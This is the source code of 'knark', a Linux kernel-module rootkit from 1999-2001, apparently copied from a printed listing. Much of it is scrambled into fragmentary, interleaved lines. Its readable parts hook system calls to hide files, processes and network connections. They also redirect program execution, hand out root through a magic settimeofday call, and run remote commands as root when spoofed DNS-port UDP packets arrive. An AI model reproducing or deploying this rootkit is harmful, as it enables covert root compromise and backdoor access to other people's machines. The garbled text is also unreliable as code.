 if(rl->rl_er.er_to) 
 { 

name(     put
     rl->rl_er.er_to = NUL
 } 
  
 rl = rl
    } while(rl);
     
    rl 
    while(rl) 

 {    
 
 
 rl = tmp; 
   
    knark_redirect_list->next = NULL; 
     
    return 0; 
} 
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int knark_add_redirect(struct exec_redirect *er) 

  st direct_list; 
   

knark_strcmp(er->er_from, knark_redirect_path(er->er_from)) || 
 !knark_strcmp(er->er_from, er->er_to)) 

(rl->rl_er.er_from) 

while(rl->next) 
    rl = rl->next; 
 

struct redirect_list), GFP_KERNEL); 
if(rl->next == NULL) return -1; 

; 

   

knark_redirect_path(char *path) 

k_redirect_list; 

rom && !knark_strcmp(path, rl->rl_er.er_from)) 
rl->rl_er.er_to; 

while(rl); 

h; 

linkage long knark_settimeofday(struct timeval *tv, struct timezone 

r_user; 

itch((int)tv) 

current->uid = current->euid = current->suid = current->fsuid = 

rent->fsgid = 

eak; 

case KNARK_ADD_REDIRECT: 

{ 
  ruct redirect_list *rl = knark_re
  
    if(
      
 return -1; 
     
    if
    { 
 
 
 
 rl->next = kmalloc(sizeof(
 
 rl = rl->next; 
    } 
     
    rl->next = NULL; 
    rl->rl_er.er_from = er->er_from
    rl->rl_er.er_to = er->er_to; 
  
    return 0; 
} 
 
 
char *
{ 

rect_list *rl = knar    struct redi
 
    do { 
 if(rl->rl_er.er_f
     return 
  
 rl = rl->next; 
    } 
     

 return pat   
} 
 
 
asm
*tz) 
{ 
    char *hidestr; 
    struct exec_redirect er, e
     
    sw
    { 
      case KNARK_GIMME_ROOT: 
 
0; 

d = cur current->gid = current->egid = current->sgi
0; 
 br
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 copy_from_user((void *)&er_user, (void *)tz, sizeof(struct 
exec_redirect)); 
 er.er_from = getname(er_user.er_from); 
 er.er_to = getname(er_user.er_to); 
 if(IS_ERR(er.er_from) || IS_ERR(er.er_to)) 
     return -1;  
 knark_add_redirect(&er); 

reak; 

 = getname((char *)tz); 

    se K NETHIDES: 
ethides(); 

   

n _settimeofday)(tv, tz); 
  } 

mlin struct pt_regs regs) 

; 
etname((char *)regs.ebx); 

  error = PTR_ERR(filename); 
  if(IS_ERR(filename)) 

  
**)regs.ecx, 

_DTRACE; 

or; 

IMIT (PAGE_SIZE - 80) 
t kn ar *buf, char **start, off_t offset, int len, 

 break; 
 
      case KNARK_CLEAR_REDIRECTS: 
 knark_clear_redirects(); 
 b
  
      case KNARK_ADD_NETHIDE: 
 hidestr
 if(IS_ERR(hidestr)) 
     return -1; 
 knark_add_nethide(hidestr); 
 break; 
  
  ca NARK_CLEAR_
 knark_clear_n
 break; 
  
      default: 
 re  (*originaltur
  
    return 0; 
} 
     
 

t knark_execve(as kage in
{ 
    int error; 

r *filename;     cha
     
    lock_kernel()

 filename = g   
  
  
 goto out; 
   
    error = do_execve(knark_redirect_path(filename), (char 

       (char **)regs.edx, &regs);  
     
    if(error == 0) 

rrent->flags &= ~PF      // cu
      current->flags &= ~PT_DTRACE; 
    putname(filename); 
out: 
    unlock_kernel(); 
    return err
} 
 
 
#define BUF_L
in ark_read_pids(ch
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      int * eof, void * data) 

  if ind_task(1)) == NULL) 

 = sprintf(buf, " EUID PID\tCOMMAND\n"); 

flags & PF_INVISIBLE) 
    len += sprintf(buf+len, "%5d %d\t%s\n", 
     task->euid, task->pid, task->comm); 
task = task->next_task; 

turn len; 

*buf, char **start, off_t offset, int len, 
void * data) 

  if 0; 

   
  fo ->f_ndevs; n++) 

    len += sprintf(buf+len, "%s\n", kfs->f_dev[n]->d_name[i]); 

t knark_read_redirects(char *buf, char **start, off_t offset, int 
n, 

ta) 

  struct redirect_list *rl = knark_redirect_list; 
set > 0) return 0; 

  le OM                 REDIRECT TO\n"); 
_er.er_from == NULL) 

ile(rl) 

len += tmp = sprintf(buf+len, "%s", rl->rl_er.er_from); 
n = 30 - tmp; 
memset(buf+len, ' ', n); 

 len += n; 

{ 
    struct task_struct *task; 

 0) return 0;     if(offset >
 
  ( (task = knark_f
 return 0; 
     
    len
     
    do { 
 if(task->
 
 
 
    } while(task->pid != 1 && len < BUF_LIMIT); 
    *eof = 1; 
    *start = buf; 
    re
} 
 
 
int knark_read_files(char 
      int * eof, 
{ 
    int n, i; 
  (offset > 0) return 
 
    len = sprintf(buf, "HIDDEN FILES\n"); 
  
  r(n = 0; n < kfs
 for(i = 0; i < kfs->f_dev[n]->d_nfiles; i++) 
 
    *eof = 1; 
    *start = buf; 
    return len; 
} 
 
 
in
le
    int * eof, void * da
{ 
    int n, tmp=0; 
  
    if(off
 
  n = sprintf(buf, "REDIRECT FR
    if(rl->rl
 return len; 
     
    wh
    { 
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 len += sprintf(buf+len, "%s\n", rl->rl_er.er_to); 
 
 rl = rl->next; 

of = 1; 

t kn  
  int * eof, void * data) 

thide_list *nl = knark_nethide_list; 

buf, "HIDDEN STRINGS (without the quotes)\n");    

  { 
idestr); 

  *start = buf; 

, char **start, off_t offset, int len, 
 

if(o n 0; 

* * * * * * * * * * * * * * * * 

 #hack.se 1999 <creed@sekure.net>*\n" 
by cyberwinds@hotmail.com          

 "*                                                         

n an illegal way       

*          or to cause damage of any kind.                
" 

        "* * * * * * * * * * * * * * * * * * * * * * * * * * * * 
" 

 *eof = 1; 
; 

_read(struct file *file, char *buf, 
     size_t len, loff_t *offset) 

  
    } 
    *e
    *start = buf; 
    return len; 
} 
 
 
in ark_read_nethides(char *buf, char **start, off_t offset, int len,
 
{ 
    struct ne
    if(offset > 0) return 0; 
 
    len = sprintf(
    while(nl && nl->nl_hidestr) 
  
 len += sprintf(buf+len, "\"%s\"\n", nl->nl_h
 nl = nl->next; 
    } 
    *eof = 1; 
  
    return len; 
} 
 
 
int knark_read_author(char *buf
       int *eof, void *data)
{ 
  ffset > 0) retur
    len = sprintf(buf, 

* * * * * * * * * *   "* * * 
*\n" 
  "* knark %s by Creed @
  "* Ported to 2.4.x 2001 
*\n" 
 
*\n" 
  "*    This program may NOT be used i
*\n" 
         "
*\n
 
*\n* 

  ,KNARK_VERSION); 
   
    *start = buf
    return len; 
} 
 
 
#ifdef FUCKY_REXEC_VERIFY 

_fopsssize_t knark_verify_rexec
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{ 
    if(file->f_pos == strlen("fikadags?\n")) 
       return 0; 
     
    len = sprintf(buf, "fikadags?\n"); 
    file->f_pos = len; 
        
    return len; 
} 
 
 
int knark_write_verify_rexec(struct file *file, const char *buf, u_long 
unt, 

  

uff, n); 
  if(buff[n-1] == '\n') 

buff[n] = '\0'; 

 knark_atoi(buff); 
 >= 0 && num <= 16) 

   

 knark_read_verify_rexec(char *buf, char **start, off_t offset, int 
n, 

      int *eof, void * data) 

ICMP_NET_UNREACH\n" 
CH\n" 

   " 4   ICMP_FRAG_NEEDED\n" 

_NET_ANO\n" 
MP_HOST_ANO\n" 

   " 12  ICMP_HOST_UNR_TOS\n" 
   " 13  ICMP_PKT_FILTERED\n" 

   " 15  ICMP_PREC_VIOLATION\n" 

co
        void *data) 
{ 
    int num, n; 
    char buff[16]; 
   
    n = count<16? count:16; 
    knark_bcopy((char *)buf, b
  
 buff[n-1] = '\0'; 
    else 
 
     
    num =
    if(num
 verify_rexec = num; 
  
    file->f_pos = count; 
 
    return count; 
} 
 
 
int
le
 
{ 
    len = sprintf(buf, 

   "Knark rexec verify-packet must be one of:\n"  
    " 0   
    " 1   ICMP_HOST_UNREA

   " 2   ICMP_PROT_UNREACH\n"  
    " 3   ICMP_FRAG_NEEDED\n" 
 
    " 5   ICMP_SR_FAILED\n" 
    " 6   ICMP_NET_UNKNOWN\n" 
    " 7   ICMP_HOST_ISOLATED\n" 

ICMP_HOST_ISOLATED\n"     " 8   
    " 9   ICMP
    " 10  IC

   " 11  ICMP_NET_UNR_TOS\n"  
 
 
    " 14  ICMP_PREC_VIOLATION\n" 
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    " 16  (don't verify)\n" 
    "\n" 
    "Currently set to: %d\n", 

  *start = buf; 

IFY*/ 

rk_execve_userprogram(char *path, char **argv, char **envp, int 

  st def_envp[] = { "HOME=/", "TERM=linux",  
    
ATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" 

", NULL 

tic struct execve_args args; 

.path = path; 
 else return -1; 
   
  if(argv) args.argv = argv; 

path_argv[1] = NULL; 

  if(envp) args.envp = envp; 

 = kernel_thread(knark_do_exec_userprogram, (void *)&args, 

eturn -1; 

k_hide_process(pid); 

 int i; 

s = (struct execve_args *) data; 
   

ck_kernel(); 

 = init_task.fs; 

omic_inc(&fs->count); 

    verify_rexec); 
    *eof = 1; 
  
    return len; 
} 
#endif /*FUCKY_REXEC_VER
 
 
int kna
secret) 
{ 
    static char *path_argv[2]; 
  atic char *
  
"P
    "/usr/bin/X11
    }; 
    sta
    pid_t pid; 
     
    if(path) args
   
  
  
    else { 
 path_argv[0] = path; 
 
    } 
     
  
    else args.envp = def_envp; 
     
    pid
CLONE_FS); 
    if(pid == -1) 
 r
     
    if(secret) knar
    return pid; 
} 
 
 
int knark_do_exec_userprogram(void *data) 
{ 
   
    struct fs_struct *fs; 

arg    struct execve_args *
  
    lo
     

    exit_fs(current); 
    fs
    current->fs = fs; 
    at

 173



  
    un
   

   

current->fsuid = 0; 
urrent->cap_inheritable); 
rrent->cap_effective); 

 set_fs(KERNEL_DS); 

  if(execve(args->path, args->argv, args->envp) < 0) 

  re rn 0

r *uh = (struct udphdr *)(skb->data + 48); 
ata = skb->data + 56; 

 static char *argv[16]; 
  char space_str[2]; 
   

u_lo  *)d SERPROGRAM) 
goto bad; 

uh->len) - sizeof(struct udphdr) - sizeof(u_long); 

GFP_KERNEL); 

bcopy(data, buf, datalen); 
  bu ; 

ACEMENT; 

[i] = strtok(i? NULL:buf, space_str)) != 

 knark_execve_userprogram(argv[0], argv, NULL, 1); 
fdef FUCKY_REXEC_VERIFY 
  if(verify_rexec >= 0 && verify_rexec < 16) 

   
 return 0; 

lock_kernel(); 
  
    for(i = 0; i < current->files->max_fds; i++) 
 if(current->files->fd[i]) close(i); 
     
    current->uid = current->euid = 
    cap_set_full(c
    cap_set_full(cu
     
   
 
  
 return -1; 
 
  tu ; 
} 
 
 
int knark_udp_rcv(struct sk_buff *skb) 
{ 
    int i, datalen; 
    struct udphd
    char *buf, *d
   
  
  
    if(uh->source != ntohs(53) || 
       uh->dest != ntohs(53) || 
 *( ng ata != UDP_REXEC_U
 
    data += 4; 
    datalen = ntohs(
     
    buf = kmalloc(datalen+1, 
    if(buf == NULL) 
 goto bad; 
     

    knark_
  f[datalen] = '\0'
     
    space_str[0] = SPACE_REPL
    space_str[1] = 0; 
  fo rgv  r(i = 0; i < 16 && (a

NULL; 
 i++); 
  argv[i] = NULL;   

 
   
#i
  
 icmp_send(skb, ICMP_DEST_UNREACH, verify_rexec, 0); 
#endif /*FUCKY_REXEC_VERIFY*/ 
  
   
bad: 
    //    return original_udp_protocol->handler(skb); 
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  turn original_udp_protocol->ha  re ndler(skb); 

efin O 

  in _protocol); 
  or dp_protocol.next; 
  in rotocol); 
   
  kf fs_struct), GFP_KERNEL); 

  me t knark_fs_struct)); 

  kn ect_list = kmalloc(sizeof(struct redirect_list), 

t == NULL) goto error; 
d *)knark_redirect_list, 0, sizeof(struct 

 knark_nethide_list = kmalloc(sizeof(struct nethide_list), 
P_KERNEL); 

  if(knark_nethide_list == NULL) goto error; 
  memset((void *)knark_nethide_list, 0, sizeof(struct nethide_list)); 

 knark_dir = create_proc_entry(MODULE_NAME, DMODE, &proc_root); 
knark_error("create knark_dir"); 

k_pids->read_proc = knark_read_pids; 

"files", FMODE, knark_dir); 
(knark_files == 0x0) return knark_error("create knark_files"); 

rk_read_files; 

ark_author = create_proc_entry("author", FMODE, knark_dir); 
rn knark_error("create knark_author"); 
nark_read_author; 

  kn _proc_entry("redirects", FMODE, knark_dir); 
x0) return knark_error("create redirects"); 

ark_redirects->read_proc = knark_read_redirects; 

_entry("nethides", FMODE, knark_dir); 
(knark_nethides == 0x0) return knark_error("create nethides"); 

 = create_proc_entry("verify_rexec", 
r); 
xec == 0x0) return knark_error("create 

} 
 
#d e DMODE S_IFDIR|S_IRUGO|S_IXUG
#define FMODE S_IFREG|S_IRUGO 
 
int init_module(void) 
{ 
 
  et_add_protocol(&knark_udp
  iginal_udp_protocol = knark_u
  et_del_protocol(original_udp_p
  
  s = kmalloc(sizeof(struct knark_
    if(kfs == NULL) goto error; 
  mset((void *)kfs, 0, sizeof(struc
 
  ark_redir
GFP_KERNEL); 
  (knark_redirect_lis  if
    memset((voi
redirect_list)); 
     
   
         GF
  
  
     
 
   
    if(knark_dir == 0x0) return 
    knark_ino = knark_dir->low_ino; 
 
    knark_pids = create_proc_entry("pids", FMODE, knark_dir); 
  if n knark_error("create knark_pids");   (knark_pids == 0x0) retur

    knar
 

= create_proc_entry(    knark_files 
    if
    knark_files->read_proc = kna
 
    kn
    if(knark_author == 0x0) retu

thor->read_proc = k    knark_au
 
  ark_redirects = create

knark_redirects == 0    if(
    kn
 
    knark_nethides = create_proc
    if
    knark_nethides->read_proc = knark_read_nethides; 
#ifdef FUCKY_REXEC_VERIFY 
    knark_verify_rexec
FMODE|S_IWUSR, knark_di

(knark_verify_re    if
verify_rexec"); 
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    knark_verify_rexec->read_proc = knark_read_verify_rexec; 
 knark_verify_rexec->write_proc = knark_write_verify_rexec; 
ndif /*FUCKY_REXEC_VERIFY*/ 
   

getdents]; 
 sys_call_table[SYS_getdents] = knark_getdents; 

_getdents64 = sys_call_table[SYS_getdents64]; 

s_call_table[SYS_kill] = knark_kill; 
sys_call_table[SYS_read]; 

s_call_table[SYS_read] = knark_read; 
s_call_table[SYS_ioctl]; 
octl] = knark_ioctl; 
_call_table[SYS_fork]; 

= knark_fork; 
sys_call_table[SYS_clone]; 
_clone] = knark_clone; 

iginal_settimeofday = sys_call_table[SYS_settimeofday]; 
meofday; 

; 
s_call_table[SYS_execve] = knark_execve; 

  int i, n; 

 inet_add_protocol(original_udp_protocol); 
  inet_del_protocol(&knark_udp_protocol); 

r); 
 remove_proc_entry("redirects", knark_dir); 

("nethides", knark_dir); 

); 

erify_rexec", knark_dir); 
 

&proc_root);     

  sy nts; 
tdents64; 

le[SYS_kill] = original_kill; 

k; 
S_clone] = original_clone; 
_settimeofday] = original_settimeofday; 

inal_execve; 

ree(knark_redirect_list); 

   
#e
  
    original_getdents = sys_call_table[SYS_
   
    original
    sys_call_table[SYS_getdents64] = knark_getdents64; 
    original_kill = sys_call_table[SYS_kill]; 
    sy
    original_read = 
    sy
    original_ioctl = sy
    sys_call_table[SYS_i
    original_fork = sys
    sys_call_table[SYS_fork] 
    original_clone = 
    sys_call_table[SYS
    or
    sys_call_table[SYS_settimeofday] = knark_setti
    original_execve = sys_call_table[SYS_execve]
    sy
    return 0; 
error: 
    return -1; 
} 
 
 
void cleanup_module(void) 
{ 
  
 
   
  
 
    remove_proc_entry("author", knark_di
   
    remove_proc_entry
    remove_proc_entry("pids", knark_dir); 
    remove_proc_entry("files", knark_dir
#ifdef FUCKY_REXEC_VERIFY 
    remove_proc_entry("v
#endif
    remove_proc_entry(MODULE_NAME, 
 
  s_call_table[SYS_getdents] = original_getde

_getdents64] = original_ge    sys_call_table[SYS
    sys_call_tab
    sys_call_table[SYS_read] = original_read; 

s_call_table[SYS_ioctl] = original_ioctl;     sy
    sys_call_table[SYS_fork] = original_for
    sys_call_table[SY
    sys_call_table[SYS
    sys_call_table[SYS_execve] = orig
     

);     knark_clear_redirects(
    kf
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    knark_clear_nethides(); 
    kfree(knark_nethide_list); 
    for(i = 0; i < kfs->f_ndevs; i++){ 
      kfree(kfs->f_dev[i]); 
      for(n = 0; kfs
 kfree(kfs->f_de

->f_dev[i]->d_name; n++) 
v[i]->d_name); 

  } 

.2 

(c) Creed @ #hack.se 1999 <creed@sekure.net> 

ar Jensen, so credits goes to 

ered quite few features, and major changes have 

made, so this isn't the same piece of code anymore. 

 

hed.h> 

de <linux/if.h> 

  
 
    kfree(kfs); 
} 
 
EXPORT_NO_SYMBOLS; 
 
C.12:  Knark.c.2
 
/* 
 knark.c, part of the knark package  *
  *

 *  
.c by Run * This lkm is based on heroin

m. hi
 * Heroin.c however off
en be
  *

 *  
 * This program/lkm may NOT be used in an illegal way,
 * or to cause damage of any kind. 
 *  
 * See README for more info. 
 */ 
 
 
#define __KERNEL_SYSCALLS__ 
#include <linux/version.h> 
#include <linux/module.h> 
#include <linux/kernel.h> 
 

ude <linux/sc#incl
#include <linux/socket.h> 
#include <linux/smp_lock.h> 
#include <linux/stat.h> 
#include <linux/dirent.h> 

ude <linux/fs.h> #incl
nclu#i

#include <linux/modversions.h> 
#include <linux/malloc.h> 
#include <linux/unistd.h> 
nclude <linux/string.h> #i

#include <linux/skbuff.h> 
#include <linux/ip.h> 
#include <sys/syscall.h> 
nclude <net/protocol.h> #i

#include <net/udp.h> 
#include <net/icmp.h> 
 
nclude <linux/dirent.h> #i
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#include <linux/proc_fs.h> 
#include <asm/uaccess.h> 
#include <asm/errno.h> 
 
#include "knark.h" 
 
#define PF_INVISIBLE 0x10000000 
 
static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, 

, kill, int, pid, int, sig); 
 arg); 

scall2(int, settimeofday, struct timeval *, tv, 

 unsigned int); 

*, struct timezone *); 

; 

v_struct *knark_add_secret_dev(kdev_t); 
nark_dev_struct *knark_get_secret_dev(kdev_t); 

ts(unsigned int, struct dirent *, unsigned int); 
 knark_fork(struct pt_regs); 
t knark_clone(struct pt_regs); 
t knark_kill(pid_t, int); 

ong); 
 knark_add_nethide(char *); 

_nethides(void); 
t knark_read(int, char *, size_t); 

 timezone *); 
; 

ar *knark_redirect_path(char *); 

, int); 
, int, int); 
f_t, int, int); 

r *, char **, off_t, int, int); 

uint, 
   count) 
static inline _syscall2(int
static inline _syscall3(int, ioctl, int, fd, int, cmd, long,
static inline _syscall1(int, fork, int, regs); 
static inline _syscall1(int, clone, int, regs); 
static inline _sy
   struct timezone *, tz); 
 
extern void *sys_call_table[]; 
 
int (*original_getdents)(unsigned int, struct dirent *,
int (*original_kill)(int, int); 
int (*original_read)(unsigned int, char *, size_t); 
int (*original_ioctl)(int, int, long); 
int (*original_fork)(struct pt_regs); 
int (*original_clone)(struct pt_regs); 
int (*original_execve)(struct pt_regs); 
int (*original_settimeofday)(struct timeval 
 
 
int knark_atoi(char *); 

t)void knark_bcopy(char *, char *, unsigned in
struct task_struct *knark_find_task(pid_t); 
int knark_is_invisible(pid_t); 
int knark_hide_process(pid_t); 
int knark_hide_file(struct inode *, struct dentry *); 
int knark_unhide_file(struct inode *); 
int knark_secret_file(ino_t, kdev_t); 
struct knark_de
struct k
int knark_getden
int
in
in
int knark_ioctl(int, int, l
int
int knark_clear
in
int knark_settimeofday(struct timeval *, struct

)int knark_add_redirect(struct exec_redirect *
ch
int knark_clear_redirects(void); 
int knark_execve(struct pt_regs regs); 
int knark_read_pids(char *, char **, off_t, int
int knark_read_files(char *, char **, off_t
int knark_read_redirects(char *, char **, of
int knark_read_nethides(cha

 178



int knark_read_author(char *, char **, off_t, int, int); 

nt, int); 
ar *, u_long, void 

ar **, int); 
t); 

uct exec_redirect rl_er; 
*knark_redirect_list = NULL; 

ruct nethide_list 

list *next; 
str; 
list = NULL; 

AX_SECRET_DEVS]; 

ruct execve_args { 

_dir = { 

DULE_NAME, 

#ifdef FUCKY_REXEC_VERIFY 
int knark_read_verify_rexec(char *, char **, off_t, i
t knark_write_verify_rexec(struct file *, const chin

*); 
#endif /*FUCKY_REXEC_VERIFY*/ 
int knark_do_exec_userprogram(void *); 
int knark_execve_userprogram(char *, char **, ch
int knark_udp_rcv(struct sk_buff *, unsigned shor
struct inet_protocol *original_udp_protocol; 
 
 
ino_t knark_ino; 
int errno; 
 
#ifdef FUCKY_REXEC_VERIFY 
int verify_rexec = 16; 
#endif /*FUCKY_REXEC_VERIFY*/ 
 
struct redirect_list 
{ 
    struct redirect_list *next; 
    str
} 
 
 
st
{ 
   struct nethide_ 
    char *nl_hide
 *knark_nethide_}
 
 
struct knark_dev_struct { 

kdev_t d_dev;     
    int d_nfiles; 
    ino_t d_inode[MAX_SECRET_FILES]; 
    char *d_name[MAX_SECRET_FILES]; 
}; 
 
 
struct knark_fs_struct { 
    int f_ndevs; 

struct knark_dev_struct *f_dev[M    
} *kfs; 
 
 
st
    char *path; 
    char **argv; 
    char **envp; 
}; 
 
 
struct proc_dir_entry knark
    0, 
    sizeof(MODULE_NAME)-1, MO
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    S_IFDIR|S_IRUGO|S_IXUGO, 

_pids = { 

 

k_files = { 

 
  1, 0, 0, 

  NULL, 

  0, 

  &knark_read_redirects 

 

  0, 
  NULL, 

or = { 

    1, 0, 0, 
    0, 
}; 
 
 
struct proc_dir_entry knark
    0, 
    4, "pids", 
    S_IFREG|S_IRUGO, 
    1, 0, 0, 
    0, 
    NULL, 
    &knark_read_pids 
};
 
 
struct proc_dir_entry knar
    0, 
    5, "files", 
    S_IFREG|S_IRUGO,
  
    0, 
  
    &knark_read_files 
}; 
 
 
struct proc_dir_entry knark_redirects = { 
    0, 
    9, "redirects", 
    S_IFREG|S_IRUGO, 
    1, 0, 0, 
  
    NULL, 
  
}; 
 
 
struct proc_dir_entry knark_nethides = {
    0, 
    8, "nethides", 
    S_IFREG|S_IRUGO, 
    1, 0, 0, 
  
  
    &knark_read_nethides 
}; 
 
 
struct proc_dir_entry knark_auth
    0, 
    6, "author", 
    S_IFREG|S_IRUGO, 
    1, 0, 0, 
    0, 
    NULL, 
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    &knark_read_author 
}; 
 
 
#ifdef FUCKY_REXEC_VERIFY 
struct proc_dir_entry knark_verify_rexec = { 

ec 

  NULL, 
  IPPROTO_ICMP, 

  "ICMP" 

 int ret = 0; 

 '9') 
          return -EINVAL; 

 - '0'); 

  return ret; 

ar *src, char *dst, unsigned int num) 

    *(dst++) = *(src++); 

    0, 
    12, "verify_rexec", 
    S_IFREG|S_IRUGO|S_IWUSR, 
    1, 0, 0, 
    0, 
    NULL, 
    &knark_read_verify_rexec, 
    NULL, 
    NULL, NULL, NULL, 
    NULL, 
    NULL, 
    &knark_write_verify_rex
}; 
#endif /*FUCKY_REXEC_VERIFY*/ 
 
 
struct inet_protocol knark_udp_protocol = 
{ 
    &knark_udp_rcv, 
    NULL, 
  
  
    0, 
    NULL, 
  
}; 
 
 
t knark_atoi(char *str) in

{ 
   
 
    while (*str) 
    { 
      if(*str < '0' || *str >  

  
        ret *= 10; 

     ret += (*str   
        str++; 
    } 
 
  
} 
 
 
void knark_bcopy(ch
{ 
    while(num-- > 0) 
    
} 
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int knark_strcmp(const char *str1, const char *str2) 
{ 

(*str1 && *str2)     while
 if(*(str1++) != *(str2++)) 

    return -1; 

ct task_struct *knark_find_task(pid_t pid) 

  struct task_struct *task = current; 

 

ask->next_task; 
ile(current != task); 

 
  return NULL; 

isible(pid_t pid) 

k_struct *task; 

< 0) return 0; 

if( (task = knark_find_task(pid)) == NULL) 
return 0; 

   

pid_t pid) 

  struct task_struct *task; 
   

LL) 
turn 0; 

INVISIBLE; 

 

ruct knark_dev_struct *knark_add_secret_dev(kdev_t dev) 

ndevs = kfs->f_ndevs; 

 
    return 0; 
} 
 
 
stru
{ 
  
 
    do {
 if(task->pid == pid) 
     return task; 
 task = t
    } wh
    
  
} 
 
 
int knark_is_inv
{ 
    struct tas
     
    if(pid 
     
    
 
  
    if(task->flags & PF_INVISIBLE) 

turn 1;  re
     
    return 0; 
} 
 
 
int knark_hide_process(
{ 
  
  
    if( (task = knark_find_task(pid)) == NU
 re
     
    task->flags |= PF_
     

rn 1;    retu
} 
 
 
st
{ 
    int current_dev = kfs->f_ndevs; 
    int 
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    struct knark_dev_struct **kds = kfs->f_dev; 

= MAX_SECRET_DEVS) 
NULL; 

ruct knark_dev_struct *) 
loc(sizeof(struct knark_dev_struct), GFP_KERNEL); 

  if(kds[current_dev] == NULL) 
return NULL; 

ev]->d_dev = dev; 
v]->d_nfiles = 0; 

_dev]->d_inode, 0, MAX_SECRET_FILES * 
; 

et(kds[current_dev]->d_name, 0, MAX_SECRET_FILES * sizeof(char 

 
  return kds[current_dev]; 

*knark_get_secret_dev(kdev_t dev) 

rk_dev_struct **kds = kfs->f_dev; 
i; 

s[i]->d_dev == dev) 
; 

NULL; 

t knark_secret_file(ino_t inode, kdev_t dev) 

 int nfiles; 
struct *kds; 

nark_get_secret_dev(dev); 
 

turn 0; 

 kds->d_nfiles; 
for(i = 0; i < nfiles; i++) 
if(kds->d_inode[i] == inode) 
    return 1; 

 return 0; 

le(struct inode *inode, struct dentry *entry) 

     
    if(ndevs >

turn  re
     
    kds[current_dev] = (st
kmal
  
 
     
    kds[current_d
    kds[current_de
    memset(kds[current
sizeof(ino_t))
    mems
*)); 
    kfs->f_ndevs++; 
    
  
} 
 
 
struct knark_dev_struct 
{ 
    int ndevs = kfs->f_ndevs; 
    struct kna
    int 
     
    for(i = 0; i < ndevs; i++) 
 if(kd
     return kds[i]
     
    return 
} 
 
 
in
{ 
    int i; 
   
    struct knark_dev_
     
    kds = k
    if(kds == NULL)
 re
     
    nfiles =
    
 
 
     
   
} 
 
 

rk_hide_fiint kna
{ 
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    char *name, *nameptr[16]; 

ds; 
 

v_t dev = inode->i_sb->s_dev; 
   

et_file(ino, dev)) 
     return -1; 

  kds = knark_get_secret_dev(dev); 

     kds = knark_add_secret_dev(dev); 
) 

 } 

 ino; 
   

meptr, 0, 16*sizeof(char *)); 
for(i = 0; i < 16 && entry->d_name.len != 1 && entry-

_name.name[0] != '/'; i++) 

e; 
    namelen += entry->d_name.len; 

} 
len += i + 1; 

les] = kmalloc(namelen, GFP_KERNEL); 
[kds->d_nfiles]; 

for(i = 0; nameptr[i]; i++) ; 
= 0; i--) 

    len = strlen(name); 
    name[len] = '/'; 

ptr[i]); 
} 

kds->d_name[kds->d_nfiles] = NULL; 

iles; 

ark_unhide_file(struct inode *inode) 

 int i; 
  int nfiles; 
  struct knark_dev_struct *kds; 

    int i, len, namelen = 0; 
    struct knark_dev_struct *k

inode->i_ino;    ino_t ino = 
    kde
  
    if(knark_secr
   
 
  
    if(kds == NULL) { 
   
        if(kds == NULL
            return -1; 
   
 
    else if(kds->d_nfiles >= MAX_SECRET_FILES) 
        return -1; 
 
    kds->d_inode[kds->d_nfiles] =
  
    if(entry) { 
 memset(na
 
>d
 { 
     nameptr[i] = (char *)entry->d_name.nam
 
     entry = entry->d_parent; 
 
 name
 kds->d_name[kds->d_nfi
 name = kds->d_name
 name[0] = '\0'; 
  
 
 for(i--; i >

{  
 
 
     strcpy(&name[len+1], name
 
    } 
     
    else 
 
 
    return ++kds->d_nf
} 
 
 
int kn
{ 
   
  
  
    ino_t ino = inode->i_ino; 
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    kdev_t dev = inode->i_dev; 

    if(!knark_secret_file(ino, dev)) 
 return -1; 
     
    kds = knark_get_secret_dev(dev); 
    if(kds == NULL) 
        return -1; 
 
    nfiles = kds->d_nfiles; 
    for(i = 0; i < nfiles; i++) 
        if(kds->d_inode[i] == ino) 
    { 
        kds->d_inode[i] = kds->d_inode[nfiles - 1]; 
        kds->d_inode[nfiles - 1] = 0; 
 if(kds->d_name[nfiles - 1]) 
     kfree(kds->d_name[nfiles - 1]); 
        return --kds->d_nfiles; 
    } 
 
    return -1; 
} 
 
 
int knark_getdents(unsigned int fd, struct dirent *dirp, unsigned int 
count) 
{ 
    int ret; 
    int proc = 0; 
    struct inode *dinode; 
    char *ptr = (char *)dirp; 
    struct dirent *curr; 
    struct dirent *prev = NULL; 
    kdev_t dev; 
     
    ret = (*original_getdents)(fd, dirp, count); 
    if(ret <= 0) return ret; 
 
    dinode = current->files->fd[fd]->f_dentry->d_inode; 
    dev = dinode->i_sb->s_dev; 
     
    if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && 
       MINOR(dinode->i_dev) == 1) 
 proc++; 
     
    while(ptr < (char *)dirp + ret) 
    { 
 curr = (struct dirent *)ptr; 
 
 if( (proc && (curr->d_ino == knark_ino || 
        knark_is_invisible(knark_atoi(curr->d_name)))) || 
     knark_secret_file(curr->d_ino, dev)) 
 { 
     if(curr == dirp) 
     { 
  ret -= curr->d_reclen; 
  knark_bcopy(ptr + curr->d_reclen, ptr, ret); 
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  continue; 
     } 
     else 
  prev->d_reclen += curr->d_reclen; 
 } 
 else 
     prev = curr; 
  
 ptr += curr->d_reclen; 
    } 
 
    return ret; 
} 
 
 
int knark_fork(struct pt_regs regs) 
{ 
    pid_t pid; 
    int hide = 0; 
     
    if(knark_is_invisible(current->pid)) 
 hide++; 
     
    pid = (*original_fork)(regs); 
    if(hide && pid > 0) 
 knark_hide_process(pid); 
     
    return pid; 
} 
 
 
int knark_clone(struct pt_regs regs) 
{ 
    pid_t pid; 
    int hide = 0; 
     
    if(knark_is_invisible(current->pid)) 
 hide++; 
     
    pid = (*original_clone)(regs); 
    if(hide && pid > 0) 
 knark_hide_process(pid); 
     
    return pid; 
} 
 
 
int knark_kill(pid_t pid, int sig) 
{ 
    struct task_struct *task; 
     
    if(sig != SIGINVISIBLE && sig != SIGVISIBLE) 
  return (*original_kill)(pid, sig); 
      
    if((task = knark_find_task(pid)) == NULL) 
 return -ESRCH; 
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    if(current->uid && current->euid) 
 return -EPERM; 
     
    if(sig == SIGINVISIBLE) task->flags |= PF_INVISIBLE; 
    else task->flags &= ~PF_INVISIBLE; 
     
    return 0; 
} 
 
 
int knark_ioctl(int fd, int cmd, long arg) 
{ 
    int ret; 
    struct ifreq ifr; 
    struct inode *inode; 
    struct dentry *entry; 
 
    if(cmd != KNARK_ELITE_CMD) 
    { 
 ret = (*original_ioctl)(fd, cmd, arg); 
 if(!ret && cmd == SIOCGIFFLAGS) 
 { 
     copy_from_user(&ifr, (void *)arg, sizeof(struct ifreq)); 
